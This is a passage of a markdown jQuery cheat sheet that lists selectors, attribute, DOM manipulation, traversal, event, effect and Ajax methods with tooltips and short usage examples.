- [[name!="value"]](https://api.jquery.com/attribute-not-equal-selector/){data-tooltip="Select elements that either don't have the specified attribute, or do have the specified attribute but not with a certain value."}
|
||||
- [[name^="value"]](https://api.jquery.com/attribute-starts-with-selector/){data-tooltip="Selects elements that have the specified attribute with a value beginning exactly with a given string."}
|
||||
- [[name]](https://api.jquery.com/has-attribute-selector/){data-tooltip="Selects elements that have the specified attribute, with any value. "}
|
||||
- [[name="value"][name2="value2"]](https://api.jquery.com/multiple-attribute-selector/){data-tooltip="Matches elements that match all of the specified attribute filters."} {.col-span-2}
|
||||
{.style-none .cols-2}
|
||||
|
||||
|
||||
### Child Filters
|
||||
- [:first-child](https://api.jquery.com/first-child-selector/){data-tooltip="Selects all elements that are the first child of their parent."}
|
||||
- [:first-of-type](https://api.jquery.com/first-of-type-selector/){data-tooltip="Selects all elements that are the first among siblings of the same element name."}
|
||||
- [:last-child](https://api.jquery.com/last-child-selector/){data-tooltip="Selects all elements that are the last child of their parent."}
|
||||
- [:last-of-type](https://api.jquery.com/last-of-type-selector/){data-tooltip="Selects all elements that are the last among siblings of the same element name."}
|
||||
- [:nth-child()](https://api.jquery.com/nth-child-selector/){data-tooltip="Selects all elements that are the nth-child of their parent."}
|
||||
- [:nth-last-child()](https://api.jquery.com/nth-last-child-selector/){data-tooltip="Selects all elements that are the nth-child of their parent, counting from the last element to the first."}
|
||||
- [:nth-last-of-type()](https://api.jquery.com/nth-last-of-type-selector/){data-tooltip="Selects all the elements that are the nth-child of their parent in relation to siblings with the same element name, counting from the last element to the first."}
|
||||
- [:nth-of-type()](https://api.jquery.com/nth-of-type-selector/){data-tooltip="Selects all elements that are the nth child of their parent in relation to siblings with the same element name."}
|
||||
- [:only-child](https://api.jquery.com/only-child-selector/){data-tooltip="Selects all elements that are the only child of their parent."}
|
||||
- [:only-of-type()](https://api.jquery.com/only-of-type-selector/){data-tooltip="Selects all elements that have no siblings with the same element name."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
|
||||
### Forms
|
||||
- [:button](https://api.jquery.com/button-selector/){data-tooltip="Selects all button elements and elements of type button."}
|
||||
- [:checkbox](https://api.jquery.com/checkbox-selector/){data-tooltip="Selects all elements of type checkbox."}
|
||||
- [:checked](https://api.jquery.com/checked-selector/){data-tooltip="Matches all elements that are checked or selected."}
|
||||
- [:disabled](https://api.jquery.com/disabled-selector/){data-tooltip="Selects all elements that are disabled."}
|
||||
- [:enabled](https://api.jquery.com/enabled-selector/){data-tooltip="Selects all elements that are enabled."}
|
||||
- [:focus](https://api.jquery.com/focus-selector/){data-tooltip="Selects element if it is currently focused."}
|
||||
- [:file](https://api.jquery.com/file-selector/){data-tooltip="Selects all elements of type file."}
|
||||
- [:image](https://api.jquery.com/image-selector/){data-tooltip="Selects all elements of type image."}
|
||||
- [:input](https://api.jquery.com/input-selector/){data-tooltip="Selects all input, textarea, select and button elements."}
|
||||
- [:password](https://api.jquery.com/password-selector/){data-tooltip="Selects all elements of type password."}
|
||||
- [:radio](https://api.jquery.com/radio-selector/){data-tooltip="Selects all elements of type radio."}
|
||||
- [:reset](https://api.jquery.com/reset-selector/){data-tooltip="Selects all elements of type reset."}
|
||||
- [:selected](https://api.jquery.com/selected-selector/){data-tooltip="Selects all elements that are selected."}
|
||||
- [:submit](https://api.jquery.com/submit-selector/){data-tooltip="Selects all elements of type submit."}
|
||||
- [:text](https://api.jquery.com/text-selector/){data-tooltip="Selects all input elements of type text."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
|
||||
jQuery Attributes {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
### Examples {.secondary .row-span-2}
|
||||
|
||||
```javascript
|
||||
$('h2').css({
|
||||
color: 'blue',
|
||||
backgroundColor: 'gray',
|
||||
fontSize: '24px'
|
||||
});
|
||||
```
|
||||
#### jQuery addClass
|
||||
```javascript
|
||||
$('.button').addClass('active');
|
||||
```
|
||||
#### jQuery removeClass
|
||||
```javascript
|
||||
$('.button').on('mouseleave', evt => {
|
||||
let e = evt.currentTarget;
|
||||
$(e).removeClass('active');
|
||||
});
|
||||
```
|
||||
#### jQuery .toggleClass
|
||||
```javascript
|
||||
$('.choice').toggleClass('highlighted');
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Attributes
|
||||
- [.attr()](https://api.jquery.com/attr/){data-tooltip="Get the value of an attribute for the first element in the set of matched elements."}
|
||||
- [.prop()](https://api.jquery.com/prop/){data-tooltip="Get the value of a property for the first element in the set of matched elements."}
|
||||
- [.removeAttr()](https://api.jquery.com/removeAttr/){data-tooltip="Remove an attribute from each element in the set of matched elements."}
|
||||
- [.removeProp()](https://api.jquery.com/removeProp/){data-tooltip="Remove a property for the set of matched elements."}
|
||||
- [.val()](https://api.jquery.com/val/){data-tooltip="Get the current value of the first element in the set of matched elements."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
#### Data
|
||||
- [jQuery.data()](https://api.jquery.com/jQuery.data/){data-tooltip="Store arbitrary data associated with the specified element. Returns the value that was set."}
|
||||
- [.data()](https://api.jquery.com/data/){data-tooltip="Store arbitrary data associated with the matched elements."}
|
||||
- [jQuery.hasData()](https://api.jquery.com/jQuery.hasData/){data-tooltip="Determine whether an element has any jQuery data associated with it."}
|
||||
- [jQuery.removeData()](https://api.jquery.com/jQuery.removeData/){data-tooltip="Remove a previously-stored piece of data."}
|
||||
- [.removeData()](https://api.jquery.com/removeData/){data-tooltip="Remove a previously-stored piece of data."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### CSS
|
||||
- [.addClass()](https://api.jquery.com/addClass/){data-tooltip="Adds the specified class(es) to each element in the set of matched elements."}
|
||||
- [.hasClass()](https://api.jquery.com/hasClass/){data-tooltip="Determine whether any of the matched elements are assigned the given class."}
|
||||
- [.removeClass()](https://api.jquery.com/removeClass/){data-tooltip="Remove a single class, multiple classes, or all classes from each element in the set of matched elements."}
|
||||
- [.toggleClass()](https://api.jquery.com/toggleClass/){data-tooltip="Add or remove one or more classes from each element in the set of matched elements, depending on either the class's presence or the value of the state argument."}
|
||||
- [.css()](https://api.jquery.com/css/){data-tooltip="Get the computed style properties for the first element in the set of matched elements."}
|
||||
- [jQuery.cssHooks](https://api.jquery.com/jQuery.cssHooks/){data-tooltip="Hook directly into jQuery to override how particular CSS properties are retrieved or set, normalize CSS property naming, or create custom properties."}
|
||||
- [jQuery.cssNumber](https://api.jquery.com/jQuery.cssNumber/){data-tooltip="An object containing all CSS properties that may be used without a unit. The .css() method uses this object to see if it may append px to unitless values."}
|
||||
- [jQuery.escapeSelector()](https://api.jquery.com/jQuery.escapeSelector/){data-tooltip="Escapes any character that has a special meaning in a CSS selector."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Dimensions
|
||||
- [.height()](https://api.jquery.com/height/){data-tooltip="Get the current computed height for the first element in the set of matched elements."}
|
||||
- [.innerHeight()](https://api.jquery.com/innerHeight/){data-tooltip="Get the current computed height for the first element in the set of matched elements, including padding but not border."}
|
||||
- [.innerWidth()](https://api.jquery.com/innerWidth/){data-tooltip="Get the current computed inner width for the first element in the set of matched elements, including padding but not border."}
|
||||
- [.outerHeight()](https://api.jquery.com/outerHeight/){data-tooltip="Get the current computed outer height (including padding, border, and optionally margin) for the first element in the set of matched elements."}
|
||||
- [.outerWidth()](https://api.jquery.com/outerWidth/){data-tooltip="Get the current computed outer width (including padding, border, and optionally margin) for the first element in the set of matched elements."}
|
||||
- [.width()](https://api.jquery.com/width/){data-tooltip="Get the current computed width for the first element in the set of matched elements."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Offset
|
||||
- [.offset()](https://api.jquery.com/offset/){data-tooltip="Get the current coordinates of the first element in the set of matched elements, relative to the document."}
|
||||
- [.offsetParent()](https://api.jquery.com/offsetParent/){data-tooltip="Get the closest ancestor element that is positioned."}
|
||||
- [.position()](https://api.jquery.com/position/){data-tooltip="Get the current coordinates of the first element in the set of matched elements, relative to the offset parent."}
|
||||
- [.scrollLeft()](https://api.jquery.com/scrollLeft/){data-tooltip="Get the current horizontal position of the scroll bar for the first element in the set of matched elements."}
|
||||
- [.scrollTop()](https://api.jquery.com/scrollTop/){data-tooltip="Get the current vertical position of the scroll bar for the first element in the set of matched elements or set the vertical position of the scroll bar for every matched element."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
|
||||
|
||||
jQuery Manipulation {.cols-3}
|
||||
------------
|
||||
|
||||
### Examples {.secondary .row-span-3}
|
||||
|
||||
```javascript
|
||||
/*<span>Span.</span>*/
|
||||
$('span').after('<p>Paragraph.</p>');
|
||||
/*<span>Span.</span><p>Paragraph.</p>*/
|
||||
|
||||
/*<span>Span.</span>*/
|
||||
$('<span>Span.</span>').replaceAll('p');
|
||||
/*<p>Span.</p>*/
|
||||
|
||||
/*<span>This is span.</span>*/
|
||||
$('span').wrap('<p></p>');
|
||||
/*<p><span>This is span.</span></p>*/
|
||||
```
|
||||
|
||||
### Copying
|
||||
- [.clone()](https://api.jquery.com/clone/){data-tooltip="Create a deep copy of the set of matched elements."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### DOM Insertion, Around
|
||||
- [.wrap()](https://api.jquery.com/wrap/){data-tooltip="Wrap an HTML structure around each element in the set of matched elements."}
|
||||
- [.wrapAll()](https://api.jquery.com/wrapAll/){data-tooltip="Wrap an HTML structure around all elements in the set of matched elements."}
|
||||
- [.wrapInner()](https://api.jquery.com/wrapInner/){data-tooltip="Wrap an HTML structure around the content of each element in the set of matched elements."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### DOM Insertion, Inside
|
||||
- [.append()](https://api.jquery.com/append/){data-tooltip="Insert content, specified by the parameter, to the end of each element in the set of matched elements."}
|
||||
- [.appendTo()](https://api.jquery.com/appendTo/){data-tooltip="Insert every element in the set of matched elements to the end of the target."}
|
||||
- [.html()](https://api.jquery.com/html/){data-tooltip="Get the HTML contents of the first element in the set of matched elements."}
|
||||
- [.prepend()](https://api.jquery.com/prepend/){data-tooltip="Insert content, specified by the parameter, to the beginning of each element in the set of matched elements."}
|
||||
- [.prependTo()](https://api.jquery.com/prependTo/){data-tooltip="Insert every element in the set of matched elements to the beginning of the target."}
|
||||
- [.text()](https://api.jquery.com/text/){data-tooltip="Get the combined text contents of each element in the set of matched elements, including their descendants."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### DOM Insertion, Outside
|
||||
- [.after()](https://api.jquery.com/after/){data-tooltip="Insert content, specified by the parameter, after each element in the set of matched elements."}
|
||||
- [.before()](https://api.jquery.com/before/){data-tooltip="Insert content, specified by the parameter, before each element in the set of matched elements."}
|
||||
- [.insertAfter()](https://api.jquery.com/insertAfter/){data-tooltip="Insert every element in the set of matched elements after the target."}
|
||||
- [.insertBefore()](https://api.jquery.com/insertBefore/){data-tooltip="Insert every element in the set of matched elements before the target."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### DOM Removal
|
||||
- [.detach()](https://api.jquery.com/detach/){data-tooltip="Remove the set of matched elements from the DOM."}
|
||||
- [.empty()](https://api.jquery.com/empty/){data-tooltip="Remove all child nodes of the set of matched elements from the DOM."}
|
||||
- [.remove()](https://api.jquery.com/remove/){data-tooltip="Remove the set of matched elements from the DOM."}
|
||||
- [.unwrap()](https://api.jquery.com/unwrap/){data-tooltip="Remove the parents of the set of matched elements from the DOM, leaving the matched elements in their place."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### DOM Replacement
|
||||
- [.replaceAll()](https://api.jquery.com/replaceAll/){data-tooltip="Replace each target element with the set of matched elements."}
|
||||
- [.replaceWith()](https://api.jquery.com/replaceWith/){data-tooltip="Replace each element in the set of matched elements with the provided new content and return the set of elements that was removed."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
jQuery Traversing {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
### Filtering
|
||||
- [.eq()](https://api.jquery.com/eq/){data-tooltip="Reduce the set of matched elements to the one at the specified index."}
|
||||
- [.filter()](https://api.jquery.com/filter/){data-tooltip="Reduce the set of matched elements to those that match the selector or pass the function's test. "}
|
||||
- [.first()](https://api.jquery.com/first/){data-tooltip="Reduce the set of matched elements to the first in the set."}
|
||||
- [.has()](https://api.jquery.com/has/){data-tooltip="Reduce the set of matched elements to those that have a descendant that matches the selector or DOM element."}
|
||||
- [.is()](https://api.jquery.com/is/){data-tooltip="Check the current matched set of elements against a selector, element, or jQuery object and return true if at least one of these elements matches the given arguments."}
|
||||
- [.last()](https://api.jquery.com/last/){data-tooltip="Reduce the set of matched elements to the final one in the set."}
|
||||
- [.map()](https://api.jquery.com/map/){data-tooltip="Pass each element in the current matched set through a function, producing a new jQuery object containing the return values."}
|
||||
- [.not()](https://api.jquery.com/not/){data-tooltip="Remove elements from the set of matched elements."}
|
||||
- [.slice()](https://api.jquery.com/slice/){data-tooltip="Reduce the set of matched elements to a subset specified by a range of indices."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### Miscellaneous Traversing
|
||||
- [.add()](https://api.jquery.com/add/){data-tooltip="Create a new jQuery object with elements added to the set of matched elements."}
|
||||
- [.addBack()](https://api.jquery.com/addBack/){data-tooltip="Add the previous set of elements on the stack to the current set, optionally filtered by a selector."}
|
||||
- [.andSelf()](https://api.jquery.com/andSelf/){data-tooltip="Add the previous set of elements on the stack to the current set."}
|
||||
- [.contents()](https://api.jquery.com/contents/){data-tooltip="Get the children of each element in the set of matched elements, including text and comment nodes."}
|
||||
- [.each()](https://api.jquery.com/each/){data-tooltip="Iterate over a jQuery object, executing a function for each matched element. "}
|
||||
- [.end()](https://api.jquery.com/end/){data-tooltip="End the most recent filtering operation in the current chain and return the set of matched elements to its previous state."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### Tree Traversal
|
||||
- [.children()](https://api.jquery.com/children/){data-tooltip="Get the children of each element in the set of matched elements, optionally filtered by a selector."}
|
||||
- [.closest()](https://api.jquery.com/closest/){data-tooltip="For each element in the set, get the first element that matches the selector by testing the element itself and traversing up through its ancestors in the DOM tree."}
|
||||
- [.find()](https://api.jquery.com/find/){data-tooltip="Get the descendants of each element in the current set of matched elements, filtered by a selector, jQuery object, or element."}
|
||||
- [.next()](https://api.jquery.com/next/){data-tooltip="Get the immediately following sibling of each element in the set of matched elements. If a selector is provided, it retrieves the next sibling only if it matches that selector."}
|
||||
- [.nextAll()](https://api.jquery.com/nextAll/){data-tooltip="Get all following siblings of each element in the set of matched elements, optionally filtered by a selector."}
|
||||
- [.nextUntil()](https://api.jquery.com/nextUntil/){data-tooltip="Get all following siblings of each element up to but not including the element matched by the selector, DOM node, or jQuery object passed."}
|
||||
- [.parent()](https://api.jquery.com/parent/){data-tooltip="Get the parent of each element in the current set of matched elements, optionally filtered by a selector."}
|
||||
- [.parents()](https://api.jquery.com/parents/){data-tooltip="Get the ancestors of each element in the current set of matched elements, optionally filtered by a selector."}
|
||||
- [.parentsUntil()](https://api.jquery.com/parentsUntil/){data-tooltip="Get the ancestors of each element in the current set of matched elements, up to but not including the element matched by the selector, DOM node, or jQuery object."}
|
||||
- [.prev()](https://api.jquery.com/prev/){data-tooltip="Get the immediately preceding sibling of each element in the set of matched elements. If a selector is provided, it retrieves the previous sibling only if it matches that selector."}
|
||||
- [.prevAll()](https://api.jquery.com/prevAll/){data-tooltip="Get all preceding siblings of each element in the set of matched elements, optionally filtered by a selector."}
|
||||
- [.prevUntil()](https://api.jquery.com/prevUntil/){data-tooltip="Get all preceding siblings of each element up to but not including the element matched by the selector, DOM node, or jQuery object."}
|
||||
- [.siblings()](https://api.jquery.com/siblings/){data-tooltip="Get the siblings of each element in the set of matched elements, optionally filtered by a selector."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
jQuery Events {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
### Examples {.secondary .row-span-6}
|
||||
|
||||
```javascript
|
||||
// A mouse event 'click'
|
||||
$('#menu-button').on('click', () => {
|
||||
$('#menu').show();
|
||||
});
|
||||
|
||||
// A keyboard event 'keyup'
|
||||
$('#textbox').on('keyup', () => {
|
||||
$('#menu').show();
|
||||
});
|
||||
|
||||
// A scroll event 'scroll'
|
||||
$('#menu-button').on('scroll', () => {
|
||||
$('#menu').show();
|
||||
});
|
||||
```
|
||||
#### Event object
|
||||
```javascript
|
||||
$('#menu').on('click', event => {
|
||||
$(event.currentTarget).hide();
|
||||
});
|
||||
```
|
||||
#### Method chaining
|
||||
```javascript
|
||||
$('#menu-btn').on('mouseenter', () => {
|
||||
$('#menu').show();
|
||||
}).on('mouseleave', () => {
|
||||
$('#menu').hide();
|
||||
});
|
||||
```
|
||||
#### Prevents the event
|
||||
```javascript
|
||||
$( "p" ).click(function( event ) {
|
||||
event.stopPropagation();
|
||||
// Do something
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Browser Events
|
||||
- [.error()](https://api.jquery.com/error/){data-tooltip="Bind an event handler to the error JavaScript event."}
|
||||
- [.resize()](https://api.jquery.com/resize/){data-tooltip="Bind an event handler to the resize JavaScript event, or trigger that event on an element."}
|
||||
- [.scroll()](https://api.jquery.com/scroll/){data-tooltip="Bind an event handler to the scroll JavaScript event, or trigger that event on an element."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
|
||||
### Event Object {.row-span-6}
|
||||
- [event.currentTarget](https://api.jquery.com/event.currentTarget/){data-tooltip=" The current DOM element within the event bubbling phase. "}
|
||||
- [event.delegateTarget](https://api.jquery.com/event.delegateTarget/){data-tooltip="The element where the currently-called jQuery event handler was attached."}
|
||||
- [event.data](https://api.jquery.com/event.data/){data-tooltip="An optional object of data passed to an event method when the current executing handler is bound. "}
|
||||
- [event.isDefaultPrevented()](https://api.jquery.com/event.isDefaultPrevented/){data-tooltip="Returns whether event.preventDefault() was ever called on this event object. "}
|
||||
- [event.isImmediatePropagationStopped()](https://api.jquery.com/event.isImmediatePropagationStopped/){data-tooltip=" Returns whether event.stopImmediatePropagation() was ever called on this event object. "}
|
||||
- [event.isPropagationStopped()](https://api.jquery.com/event.isPropagationStopped/){data-tooltip=" Returns whether event.stopPropagation() was ever called on this event object. "}
|
||||
- [event.metaKey](https://api.jquery.com/event.metaKey/){data-tooltip="Indicates whether the META key was pressed when the event fired."}
|
||||
- [event.namespace](https://api.jquery.com/event.namespace/){data-tooltip="The namespace specified when the event was triggered."}
|
||||
- [event.pageX](https://api.jquery.com/event.pageX/){data-tooltip="The mouse position relative to the left edge of the document."}
|
||||
- [event.pageY](https://api.jquery.com/event.pageY/){data-tooltip="The mouse position relative to the top edge of the document."}
|
||||
- [event.preventDefault()](https://api.jquery.com/event.preventDefault/){data-tooltip="If this method is called, the default action of the event will not be triggered."}
|
||||
- [event.relatedTarget](https://api.jquery.com/event.relatedTarget/){data-tooltip="The other DOM element involved in the event, if any."}
|
||||
- [event.result](https://api.jquery.com/event.result/){data-tooltip="The last value returned by an event handler that was triggered by this event, unless the value was undefined."}
|
||||
- [event.stopImmediatePropagation()](https://api.jquery.com/event.stopImmediatePropagation/){data-tooltip="Keeps the rest of the handlers from being executed and prevents the event from bubbling up the DOM tree."}
|
||||
- [event.stopPropagation()](https://api.jquery.com/event.stopPropagation/){data-tooltip="Prevents the event from bubbling up the DOM tree, preventing any parent handlers from being notified of the event."}
|
||||
- [event.target](https://api.jquery.com/event.target/){data-tooltip=" The DOM element that initiated the event. "}
|
||||
- [event.timeStamp](https://api.jquery.com/event.timeStamp/){data-tooltip="The difference in milliseconds between the time the browser created the event and January 1, 1970."}
|
||||
- [event.type](https://api.jquery.com/event.type/){data-tooltip="Describes the nature of the event."}
|
||||
- [event.which](https://api.jquery.com/event.which/){data-tooltip="For key or mouse events, this property indicates the specific key or button that was pressed."}
|
||||
{.style-none .cols-1}
|
||||
|
||||
|
||||
|
||||
### Document Loading
|
||||
- [.load()](https://api.jquery.com/load-event/){data-tooltip="Bind an event handler to the load JavaScript event."}
|
||||
- [.ready()](https://api.jquery.com/ready/){data-tooltip="Specify a function to execute when the DOM is fully loaded."}
|
||||
- [.unload()](https://api.jquery.com/unload/){data-tooltip="Bind an event handler to the unload JavaScript event."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Event Handler Attachment
|
||||
- [.bind()](https://api.jquery.com/bind/){data-tooltip="Attach a handler to an event for the elements."}
|
||||
- [.delegate()](https://api.jquery.com/delegate/){data-tooltip="Attach a handler to one or more events for all elements that match the selector, now or in the future, based on a specific set of root elements."}
|
||||
- [.die()](https://api.jquery.com/die/){data-tooltip="Remove event handlers previously attached using .live() from the elements."}
|
||||
- [.live()](https://api.jquery.com/live/){data-tooltip="Attach an event handler for all elements which match the current selector, now and in the future."}
|
||||
- [.off()](https://api.jquery.com/off/){data-tooltip="Remove an event handler."}
|
||||
- [.on()](https://api.jquery.com/on/){data-tooltip="Attach an event handler function for one or more events to the selected elements."}
|
||||
- [.one()](https://api.jquery.com/one/){data-tooltip="Attach a handler to an event for the elements. The handler is executed at most once per element per event type."}
|
||||
- [.trigger()](https://api.jquery.com/trigger/){data-tooltip="Execute all handlers and behaviors attached to the matched elements for the given event type."}
|
||||
- [.triggerHandler()](https://api.jquery.com/triggerHandler/){data-tooltip="Execute all handlers attached to an element for an event."}
|
||||
- [.unbind()](https://api.jquery.com/unbind/){data-tooltip="Remove a previously-attached event handler from the elements."}
|
||||
- [.undelegate()](https://api.jquery.com/undelegate/){data-tooltip="Remove a handler from the event for all elements which match the current selector, based upon a specific set of root elements."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### Form Events
|
||||
- [.blur()](https://api.jquery.com/blur/){data-tooltip="Bind an event handler to the blur JavaScript event, or trigger that event on an element."}
|
||||
- [.change()](https://api.jquery.com/change/){data-tooltip="Bind an event handler to the change JavaScript event, or trigger that event on an element."}
|
||||
- [.focus()](https://api.jquery.com/focus/){data-tooltip="Bind an event handler to the focus JavaScript event, or trigger that event on an element."}
|
||||
- [.focusin()](https://api.jquery.com/focusin/){data-tooltip="Bind an event handler to the focusin event."}
|
||||
- [.focusout()](https://api.jquery.com/focusout/){data-tooltip="Bind an event handler to the focusout JavaScript event."}
|
||||
- [.select()](https://api.jquery.com/select/){data-tooltip="Bind an event handler to the select JavaScript event, or trigger that event on an element."}
|
||||
- [.submit()](https://api.jquery.com/submit/){data-tooltip="Bind an event handler to the submit JavaScript event, or trigger that event on an element."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### Keyboard Events
|
||||
- [.keydown()](https://api.jquery.com/keydown/){data-tooltip="Bind an event handler to the keydown JavaScript event, or trigger that event on an element."}
|
||||
- [.keypress()](https://api.jquery.com/keypress/){data-tooltip="Bind an event handler to the keypress JavaScript event, or trigger that event on an element."}
|
||||
- [.keyup()](https://api.jquery.com/keyup/){data-tooltip="Bind an event handler to the keyup JavaScript event, or trigger that event on an element."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
### Mouse Events
|
||||
- [.click()](https://api.jquery.com/click/){data-tooltip="Bind an event handler to the click JavaScript event, or trigger that event on an element."}
|
||||
- [.contextMenu()](https://api.jquery.com/contextmenu/){data-tooltip="Bind an event handler to the contextmenu JavaScript event, or trigger that event on an element."}
|
||||
- [.dblclick()](https://api.jquery.com/dblclick/){data-tooltip="Bind an event handler to the dblclick JavaScript event, or trigger that event on an element."}
|
||||
- [.hover()](https://api.jquery.com/hover/){data-tooltip="Bind two handlers to the matched elements, to be executed when the mouse pointer enters and leaves the elements."}
|
||||
- [.mousedown()](https://api.jquery.com/mousedown/){data-tooltip="Bind an event handler to the mousedown JavaScript event, or trigger that event on an element."}
|
||||
- [.mouseenter()](https://api.jquery.com/mouseenter/){data-tooltip="Bind an event handler to be fired when the mouse enters an element, or trigger that handler on an element."}
|
||||
- [.mouseleave()](https://api.jquery.com/mouseleave/){data-tooltip="Bind an event handler to be fired when the mouse leaves an element, or trigger that handler on an element."}
|
||||
- [.mousemove()](https://api.jquery.com/mousemove/){data-tooltip="Bind an event handler to the mousemove JavaScript event, or trigger that event on an element."}
|
||||
- [.mouseout()](https://api.jquery.com/mouseout/){data-tooltip="Bind an event handler to the mouseout JavaScript event, or trigger that event on an element."}
|
||||
- [.mouseover()](https://api.jquery.com/mouseover/){data-tooltip="Bind an event handler to the mouseover JavaScript event, or trigger that event on an element."}
|
||||
- [.mouseup()](https://api.jquery.com/mouseup/){data-tooltip="Bind an event handler to the mouseup JavaScript event, or trigger that event on an element."}
|
||||
- [.toggle()](https://api.jquery.com/toggle-event/){data-tooltip="Bind two or more handlers to the matched elements, to be executed on alternate clicks."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
|
||||
jQuery Effects {.cols-3}
|
||||
------------
|
||||
|
||||
### Examples {.secondary .row-span-2}
|
||||
|
||||
```javascript
|
||||
$('#menu-button').on('click', () => {
|
||||
// $('#menu').fadeIn(400, 'swing')
|
||||
$('#menu').fadeIn();
|
||||
});
|
||||
```
|
||||
#### fadeOut effect
|
||||
```javascript
|
||||
$('#menu-button').on('click', () => {
|
||||
// $('#menu').fadeOut(400, 'swing')
|
||||
$('#menu').fadeOut();
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Basics
|
||||
- [.hide()](https://api.jquery.com/hide/){data-tooltip="Hide the matched elements."}
|
||||
- [.show()](https://api.jquery.com/show/){data-tooltip="Display the matched elements."}
|
||||
- [.toggle()](https://api.jquery.com/toggle/){data-tooltip="Display or hide the matched elements."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Sliding
|
||||
- [.slideDown()](https://api.jquery.com/slideDown/){data-tooltip="Display the matched elements with a sliding motion."}
|
||||
- [.slideToggle()](https://api.jquery.com/slideToggle/){data-tooltip="Display or hide the matched elements with a sliding motion."}
|
||||
- [.slideUp()](https://api.jquery.com/slideUp/){data-tooltip="Hide the matched elements with a sliding motion."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Custom
|
||||
- [.animate()](https://api.jquery.com/animate/){data-tooltip="Perform a custom animation of a set of CSS properties."}
|
||||
- [.clearQueue()](https://api.jquery.com/clearQueue/){data-tooltip="Remove from the queue all items that have not yet been run."}
|
||||
- [.delay()](https://api.jquery.com/delay/){data-tooltip="Set a timer to delay execution of subsequent items in the queue."}
|
||||
- [.dequeue()](https://api.jquery.com/dequeue/){data-tooltip="Execute the next function on the queue for the matched elements."}
|
||||
- [jQuery.dequeue()](https://api.jquery.com/jQuery.dequeue/){data-tooltip="Execute the next function on the queue for the matched element."}
|
||||
- [.finish()](https://api.jquery.com/finish/){data-tooltip="Stop the currently-running animation, remove all queued animations, and complete all animations for the matched elements."}
|
||||
- [jQuery.fx.interval](https://api.jquery.com/jQuery.fx.interval/){data-tooltip="The rate (in milliseconds) at which animations fire."}
|
||||
- [jQuery.fx.off](https://api.jquery.com/jQuery.fx.off/){data-tooltip="Globally disable all animations."}
|
||||
- [jQuery.speed](https://api.jquery.com/jQuery.speed/){data-tooltip="Creates an object containing a set of properties ready to be used in the definition of custom animations."}
|
||||
- [.queue()](https://api.jquery.com/queue/){data-tooltip="Show the queue of functions to be executed on the matched elements."}
|
||||
- [jQuery.queue()](https://api.jquery.com/jQuery.queue/){data-tooltip="Show the queue of functions to be executed on the matched element."}
|
||||
- [.stop()](https://api.jquery.com/stop/){data-tooltip="Stop the currently-running animation on the matched elements."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Fading
|
||||
- [.fadeIn()](https://api.jquery.com/fadeIn/){data-tooltip="Display the matched elements by fading them to opaque."}
|
||||
- [.fadeOut()](https://api.jquery.com/fadeOut/){data-tooltip="Hide the matched elements by fading them to transparent."}
|
||||
- [.fadeTo()](https://api.jquery.com/fadeTo/){data-tooltip="Adjust the opacity of the matched elements."}
|
||||
- [.fadeToggle()](https://api.jquery.com/fadeToggle/){data-tooltip="Display or hide the matched elements by animating their opacity."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
|
||||
jQuery Ajax {.cols-3}
|
||||
------------
|
||||
|
||||
### Examples {.secondary .row-span-2}
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: this.action,
|
||||
type: this.method,
|
||||
data: $(this).serialize()
|
||||
}).done(function(server_data){
|
||||
console.log("success" + server_data);
|
||||
}).fail(function(jqXHR, status, err){
|
||||
console.log("fail" + err);
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
### Global Ajax Event Handlers
|
||||
- [.ajaxComplete()](https://api.jquery.com/ajaxComplete/){data-tooltip="Register a handler to be called when Ajax requests complete. This is an AjaxEvent."}
|
||||
- [.ajaxError()](https://api.jquery.com/ajaxError/){data-tooltip="Register a handler to be called when Ajax requests complete with an error. This is an Ajax Event."}
|
||||
- [.ajaxSend()](https://api.jquery.com/ajaxSend/){data-tooltip="Attach a function to be executed before an Ajax request is sent. This is an Ajax Event."}
|
||||
- [.ajaxStart()](https://api.jquery.com/ajaxStart/){data-tooltip="Register a handler to be called when the first Ajax request begins. This is an Ajax Event."}
|
||||
- [.ajaxStop()](https://api.jquery.com/ajaxStop/){data-tooltip="Register a handler to be called when all Ajax requests have completed. This is an Ajax Event."}
|
||||
- [.ajaxSuccess()](https://api.jquery.com/ajaxSuccess/){data-tooltip="Attach a function to be executed whenever an Ajax request completes successfully. This is an Ajax Event."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Helper Functions
|
||||
- [jQuery.param()](https://api.jquery.com/jQuery.param/){data-tooltip="Create a serialized representation of an array, a plain object, or a jQuery object suitable for use in a URL query string or Ajax request. In case a jQuery object is passed, it should contain input elements with name/value properties."}
|
||||
- [.serialize()](https://api.jquery.com/serialize/){data-tooltip="Encode a set of form elements as a string for submission."}
|
||||
